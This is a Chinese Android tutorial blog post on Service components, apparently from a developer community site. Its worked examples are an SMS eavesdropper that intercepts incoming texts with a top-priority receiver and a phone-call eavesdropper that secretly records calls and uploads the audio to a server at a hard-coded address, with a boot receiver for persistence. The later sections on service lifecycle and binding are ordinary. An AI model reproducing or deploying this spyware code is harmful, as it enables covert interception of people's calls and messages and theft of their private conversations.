【android,24】服务组件的使用

一、服务组件的使用步骤:(做一个短信窃听器,)

1、自定义一个类:继承android.app.Service类并覆写一些方法:

public class MyServiceextends Service {

 

    @Override

    public IBinder onBind(Intent arg0) {

        // TODO Auto-generatedmethod stub

        return null;

    }

 

    /**

     *  服务被创建的时候 调用的方法;在该方法中将短信上传到服务器。

     */

    @Override

    public void onCreate(){

        //注意:服务组件是在主线程中执行的。所以要开启子线程。防止anr异常。

        System.out.println("服务运行在 "+Thread.currentThread().getName());

        new Thread(){

            public void run() {

                try {

                    System.out.println("准备上传");

                    Thread.sleep(20000);

                    System.out.println("上传数据到服务器");

                } catch(InterruptedException e) {

                    e.printStackTrace();

                }

            };

        }.start();

        super.onCreate();

    }

 

}

 

2、在清单文件中配置service组件:

  <application

       android:icon="@drawable/ic_launcher"

        android:label="@string/app_name">

//接收短信的广播接收者

        <receiverandroid:name=".SmsReceiver" >

            <intent-filterandroid:priority="1000" >

                <actionandroid:name="android.provider.Telephony.SMS_RECEIVED" />

            </intent-filter>

        </receiver>

        <service //服务组件。

           android:name=".MyService"

            ></service>

    </application>

 

 

3、在广播接收者类中激活服务组件:

public class SmsReceiverextends BroadcastReceiver {

 

    @Override

    public void onReceive(Context context, Intent data) {

        // TODO Auto-generatedmethod stub

        System.out.println("短信到来了");

        System.out.println("线程id"+Thread.currentThread().getId());

        System.out.println("线程名字"+Thread.currentThread().getName());

       

//激活 服务组件

        Intent intent = newIntent(context,MyService.class);

        context.startService(intent);

       

    }

 

}

 

注意:服务组件是在主线程中执行的。

二、做个电话窃听器:

1、创建一个activity 类 :界面上有一个按钮,点击按钮就开始监听电话.

public class DemoActivity extends Activity {

    /** Called when the activityis first created. */

    @Override

    public void onCreate(BundlesavedInstanceState) {

       super.onCreate(savedInstanceState);

       setContentView(R.layout.main);

    }

    //点击按钮执行的方法:

    public void startlisten(Viewview){

        //开启一个后台的服务, 窃听用户的电话信息

        Intent intent = new Intent(this,SystemService.class);

        startService(intent);

    }

}

 

2、定义一个服务组件:

 

public class SystemServiceextends Service {

 

    private MediaRecorder mRecorder;

    private boolean isrecoding;

    @Override

    public IBinder onBind(Intent intent) {

        // TODO Auto-generatedmethod stub

        return null;

    }

 

    //启动服务的方法:

    public void onCreate() {

        super.onCreate();

        isrecoding = false;

        // 监听系统的电话的状态

//获取电话管理器对象:

        TelephonyManager manager=

(TelephonyManager) getSystemService(TELEPHONY_SERVICE);

        // 监听系统的电话的状态的改变

         // listen方法参数1:是PhoneStateListener对象。

         //            参数2:电话的状态 ,int类型常量。

manager.listen(

new MyListener(), PhoneStateListener.LISTEN_CALL_STATE);

    }

 

    //自定义的电话状态监听器类

    private class MyListener extends PhoneStateListener {

        File file ;

        /**

         * 当电话状态发生改变的时候 调用的方法 state

         * 方法参数1:是电话的状态,状态有: 空闲 零响 通话

   参数2:incomingnumber 来电号码

         */

        public voidonCallStateChanged(int state, String incomingNumber) {

            switch (state) {

            case TelephonyManager.CALL_STATE_IDLE://空闲

                System.out.println("电话空闲");

                //音频数据上传到服务器

                if(isrecoding){

                    mRecorder.stop();

                    mRecorder.release();

                    isrecoding = false;

                    // 上传文件的到服务器

                    System.out.println("上传文件到服务器");

                    new Thread(){

                        public void run() {

                            String path ="http://192.168.1.247:8080/web/UploadServlet";

                            PostMethod filePost  = newPostMethod(path);

                            try {

                                Part[] parts = { newFilePart("file", file) };

                                filePost.setRequestEntity(newMultipartRequestEntity(parts,

                                        filePost.getParams()));

//                              org.apache.commons.httpclient.HttpClientclient = new org.apache.commons.httpclient.HttpClient();

                              org.apache.commons.httpclient.HttpClient client = neworg.apache.commons.httpclient.HttpClient();

                                client.getHttpConnectionManager().getParams()

                                        .setConnectionTimeout(5000);

                                int status =client.executeMethod(filePost);

                                System.out.println("上传成功");

                            }

                            catch (Exception e) {

                               

                            }

                            finally {

                                filePost.releaseConnection();

                            }

                           

                        };

                    }.start();

                   

                   

                }

                break;

 

            case TelephonyManager.CALL_STATE_RINGING:// 零响

                System.out.println("来电号码"+incomingNumber);

                break;

            case TelephonyManager.CALL_STATE_OFFHOOK: //通话状态

                System.out.println("开始通话,开启录音机,窃听电话");

                try {

                mRecorder = newMediaRecorder();

                // 设置声音的数据源

                mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);

                // 声音的输出格式 3gp

                mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

                file = newFile(Environment.getExternalStorageDirectory(),

System.currentTimeMillis()+".3gp");

                mRecorder.setOutputFile(file.getAbsolutePath());

                mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

                mRecorder.prepare();

                mRecorder.start();

                isrecoding = true;

                } catch (Exception e) {

                    // TODO Auto-generated catch block

                    e.printStackTrace();

                }

                break;

            }

            super.onCallStateChanged(state, incomingNumber);

        }

 

    }

 

}

 

三录音机操作api:

1、使用录音源需要在清单文件中添加权限:

<uses-permissionandroid:name="android.permission.RECORD_AUDIO" />

//创建录音机实例:

MediaRecorder  mRecorder = new MediaRecorder();

// 设置声音的数据源,来自手机话筒

mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);

// 指定声音的输出格式 3gp

mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

//创建当前录音额文件 (外部存储设备目录 ,文件名)

file = newFile(Environment.getExternalStorageDirectory()

,System.currentTimeMillis()+".3gp");

//指定输出文件路径

mRecorder.setOutputFile(file.getAbsolutePath());

//设置声音的编码格式

mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

mRecorder.prepare();//准备

mRecorder.start();//开始录音

 

//停止录音机

 MRecorder.stop();      

//释放录音机资源

mRecorder.release();  

 

四、手机开机的广播接收者事件:

 

<receiverandroid:name=".BootReceiver">

            <intent-filter >

                <actionandroid:name="android.intent.action.BOOT_COMPLETED"/>

            </intent-filter>

           

 </receiver>

 

 

五、服务组件的生命周期:

1、服务有两种开启方式:

     通过startservice方式开启。

    绑定的方式开启服务

2、通过startservice方式开启 的生命周期:

①、服务只会被创建一次,只调用一次onCreate()方法

一旦服务被创建出来,以后再去开启服务 就不会执行oncreate()方法,只会执行 onStart().

②、服务如果是通过startservice方式开启的

服务和调用者没有任何的关系,即便是调用者挂了,服务还是会在后台长期的运行.

可以用过stopservice的方法 把服务给停掉,调用onDestory()方法。

 

3、绑定的方式开启服务 的生命周期:

①、使用绑定方式开启服务,首先执行onCreate 方法 ,再执行 onBind方法,再次点击开启不会执行任何方法,结束服务 先执行onNnBind方法 再执行onDestory方法。

②、如果调用者挂了,服务也会跟着挂了。

 

 

六、绑定方式开启服务:(通过绑定服务调用服务里的方法:使用binder类做桥梁)

1、使用绑定方式开启服务:

使用bindService()开启服务,需要实现ServiceConnection接口,该接口中有一个onServiceConnected()回调方法,方法的第二个参数是IBinder 对象,就是服务类中onBind()方法的返回值。当服务绑定成功的时候,会调用服务类中的onBind()方法,返回一个IBinder对象,通过IBind对象可以调用 间接服务中的其他方法:

 

2、、使用绑定方式开启服务  和在关闭视图时在activity的ondestory方法解除绑定服务:

//服务意图

Intent  serviceintent = newIntent(this,MyService.class);

//绑定方式启动服务

//方法参数: (服务意图,ServiceConnection子类对象,启动模式)

bindService(serviceintent,conn, Context.BIND_AUTO_CREATE);

//ServiceConnection子类:

private class MyConnimplements ServiceConnection{

 

        @Override

        public void onServiceConnected(ComponentName name, IBinder service) {

            // 当服务被成功绑定的时候 执行的方法

            System.out.println("服务被成功绑定了,我获取到了服务返回的ibinder对象");

//获取myBind对象:

            MyService.MyBinder mybinder =(MyBinder) service;

            mybinder.callMethodA();//调用内部类的方法:

           

        }

 

        @Override

        public voidonServiceDisconnected(ComponentName name) {

            // TODO Auto-generated method stub

        }

       

    }

 

//在activity类中的onDestory方法解除绑定:

 //调用unbindService()解除绑定,参数:ServiceConnection的子类。

protected void onDestroy() {

        super.onDestroy();

        // 显示的把绑定的服务给接触绑定.

        unbindService(conn);

    }

 

//服务类:

public class MyServiceextends Service {

//绑定类:(内部类)

    public class MyBinder extends Binder {

 

        //内部类的方法中:调用服务类中的方法

        public voidcallMethodA() {

            MethodA();//调用服务类的方法:

        }

       

    }

   

    @Override

    public IBinder onBind(Intent intent) {

       

        System.out.println("onbind");

        return new MyBinder();//创建绑定对象。

    }

 

    public void MethodA(){

        System.out.println("我是服务里面的方法A");

    }

   

   

    @Override

    public boolean onUnbind(Intent intent) {

        System.out.println("onunbind");

        returnsuper.onUnbind(intent);

       

    }

 

    @Override

    public void onCreate() {

        // TODO Auto-generatedmethod stub

        System.out.println("oncreate");

        super.onCreate();

    }

 

    @Override

    public void onStart(Intent intent, int startId) {

        // TODO Auto-generatedmethod stub

        super.onStart(intent,startId);

        System.out.println("onstart");

    }

 

    @Override

    public void onDestroy() {

        // TODO Auto-generatedmethod stub

        System.out.println("ondestroy");

        super.onDestroy();

    }

 

}

②、生命周期:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值